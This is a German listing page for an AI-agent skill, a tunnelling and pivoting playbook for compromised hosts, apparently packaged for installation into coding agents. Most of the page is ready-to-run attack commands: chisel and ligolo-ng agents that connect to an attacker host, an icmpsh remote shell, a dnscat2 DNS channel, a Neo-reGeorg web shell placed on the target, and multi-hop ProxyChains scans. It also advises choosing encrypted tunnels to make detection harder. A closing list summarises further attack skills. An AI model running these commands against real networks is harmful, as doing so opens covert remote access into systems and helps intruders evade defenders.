CommunityCodierung & Entwicklunggithub.com

yaklang/Tunnel-und-Pivot-Spielbuch

Tunnel- und Pivot-Spielbuch. Verwenden Sie es beim Aufbau von Netzwerktunneln durch kompromittierte Hosts, einschließlich SSH-Tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP-Tunneling, ProxyChains und mehrschichtige Pivot-Strategien.

Was ist Tunnel-und-Pivot-Spielbuch?

Diese Fähigkeit (Skill) für KI-Agenten im Bereich Penetrationstests und Netzwerksicherheit bietet ein umfassendes Spielbuch für Tunnel- und Pivotierungstechniken. Es ist besonders nützlich, wenn ein Angreifer Zugriff auf einen kompromittierten Host hat und Netzwerkverbindungen zu internen, normalerweise nicht erreichbaren Systemen herstellen muss. Der Skill unterstützt eine Vielzahl von Tools und Methoden, darunter SSH-Tunneling (lokal, remote, dynamisch), Chisel (HTTP-Tunnel mit SOCKS-Proxy), Ligolo-ng (Layer-2/Layer-3-Tunneling), socat (Bidirektionale Datenweiterleitung), sowie spezialisierte Tunneling-Ansätze über DNS, ICMP oder HTTP (z.B. mit dnscat2, icmpsh, Neo-reGeorg). Darüber hinaus werden ProxyChains zur Weiterleitung von Traffic durch SOCKS-Proxies und Strategien für mehrschichtige Pivots (z.B. über mehrere kompromittierte Hosts hinweg) abgedeckt. Die Dokumentation enthält detaillierte Befehlszeilenbeispiele, Konfigurationsschritte und praktische Hinweise zur effektiven Nutzung dieser Techniken in realen Szenarien, was sie zu einer wertvollen Ressource für Red Teams und Sicherheitsforscher macht.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/tunneling-and-pivoting

Installed? Explore more Codierung & Entwicklung skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht Tunnel-und-Pivot-Spielbuch?

Tunnel- und Pivot-Spielbuch. Verwenden Sie es beim Aufbau von Netzwerktunneln durch kompromittierte Hosts, einschließlich SSH-Tunneling, Chisel, Ligolo-ng, socat, DNS/ICMP/HTTP-Tunneling, ProxyChains und mehrschichtige Pivot-Strategien.

Überblick

Dieses Spielbuch beschreibt Methoden zum Aufbau von Netzwerktunneln durch kompromittierte Hosts, um auf isolierte Netzwerke zuzugreifen oder Datenverkehr umzuleiten. Es behandelt folgende Techniken:

  • SSH-Tunneling (Lokal, Remote, Dynamisch)
  • Chisel (HTTP-Tunnel mit SOCKS-Proxy)
  • Ligolo-ng (Layer-2/Layer-3-Tunneling)
  • socat (Bidirektionale Datenweiterleitung)
  • DNS/ICMP/HTTP-Tunneling (z.B. dnscat2, icmpsh, Neo-reGeorg)
  • ProxyChains (Weiterleitung von Traffic durch SOCKS-Proxies)
  • Mehrschichtige Pivots (Weiterleitung über mehrere Hosts hinweg)

SSH-Tunneling

Lokales SSH-Tunneling

Leitet einen lokalen Port an einen entfernten Port weiter:

ssh -L <local_port>:<remote_host>:<remote_port> <user>@<ssh_server>

Beispiel: Weiterleitung von Port 3389 (RDP) auf einem entfernten Server durch einen SSH-Server:

ssh -L 3389:<remote_host>:3389 user@ssh_server

Remote-SSH-Tunneling

Leitet einen entfernten Port an einen lokalen Port weiter:

ssh -R <remote_port>:<local_host>:<local_port> <user>@<ssh_server>

Beispiel: Öffnen eines Fernzugriffs auf einen lokalen Dienst hinter NAT:

ssh -R 8080:localhost:80 user@public_server

Dynamisches SSH-Tunneling (SOCKS-Proxy)

Erstellt einen SOCKS-Proxy auf dem lokalen Rechner:

ssh -D <local_socks_port> <user>@<ssh_server>

Beispiel: SOCKS-Proxy auf Port 9050:

ssh -D 9050 user@ssh_server

Chisel

Chisel ist ein schneller TCP/UDP-Tunnel, der über HTTP transportiert wird und einen SOCKS-Proxy bereitstellt.

Client (Zielhost)

chisel client <chisel_server>:<port> socks

Server (Angreifer)

chisel server -p <port> --reverse

Beispiel:

Server auf Port 8000 starten:

chisel server -p 8000 --reverse

Client mit Server verbinden:

chisel client 192.168.1.100:8000 socks

Ligolo-ng

Ligolo-ng ist ein einfaches, leichtgewichtiges Tool zum Aufbau von Tunneln unter Verwendung von TUN/TAP-Schnittstellen.

Angreifer (Proxy)

./proxy -selfcert

Auf dem Agenten (Zielhost):

./agent -connect <attacker_ip>:<port> -ignorecert

Sobald die Verbindung hergestellt ist, erstellen Sie im Proxy eine Tunnel-Schnittstelle:

session_start
ifconfig

socat

socat ist ein Kommandozeilenwerkzeug, das zwei bidirektionale Datenströme verbindet.

TCP-Weiterleitung

socat TCP-LISTEN:<local_port>,reuseaddr,fork TCP:<remote_host>:<remote_port>

Beispiel: Weiterleitung von Port 4444 an einen anderen Host

socat TCP-LISTEN:4444,reuseaddr,fork TCP:10.0.0.1:3389

DNS/ICMP/HTTP-Tunneling

DNS-Tunneling (dnscat2)

Server (Angreifer):

ruby dnscat2.rb --dns host=<domain>,port=53

Client (Zielhost):

./dnscat2 <domain>

ICMP-Tunneling (icmpsh)

Server (Angreifer):

python icmpsh_m.py <attacker_ip> <victim_ip>

Client (Zielhost):

icmpsh.exe -t <attacker_ip>

HTTP-Tunneling (Neo-reGeorg)

Server (Angreifer):

python neoreg.py -k <password> -u http://target/tunnel.php

Client (Zielhost):

tunnel.php (auf dem Ziel bereitstellen)

ProxyChains

ProxyChains leitet den gesamten Netzwerkverkehr eines Programms durch einen SOCKS-Proxy.

Konfiguration (/etc/proxychains.conf)

[ProxyList]
socks4 127.0.0.1 9050

Verwendung

proxychains nmap -sT -Pn 10.0.0.1

Mehrschichtige Pivots

Manchmal ist es notwendig, über mehrere Hosts zu pivotieren (mehrschichtige Pivots).

Beispiel: Pivot über zwei Hosts

  1. Erstellen Sie mit SSH einen SOCKS-Tunnel zu Host A.
  2. Verwenden Sie ProxyChains, um sich mit Host B zu verbinden.
  3. Erstellen Sie auf Host B einen weiteren Tunnel zu Host C.
# Lokaler SOCKS-Proxy zu Host A
ssh -D 9050 user@host_a

# Verbinden zu Host B über ProxyChains
proxychains ssh user@host_b

# Von Host B aus zu Host C
ssh user@host_c

Hinweise

  • Stellen Sie sicher, dass die verwendeten Tools auf dem Zielsystem verfügbar sind (gegebenenfalls übertragen).
  • Achten Sie auf Firewall-Regeln, die bestimmte Protokolle blockieren könnten.
  • Verwenden Sie nach Möglichkeit verschlüsselte Tunnel (SSH, Chisel), um die Erkennung zu erschweren.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Verwandte Skills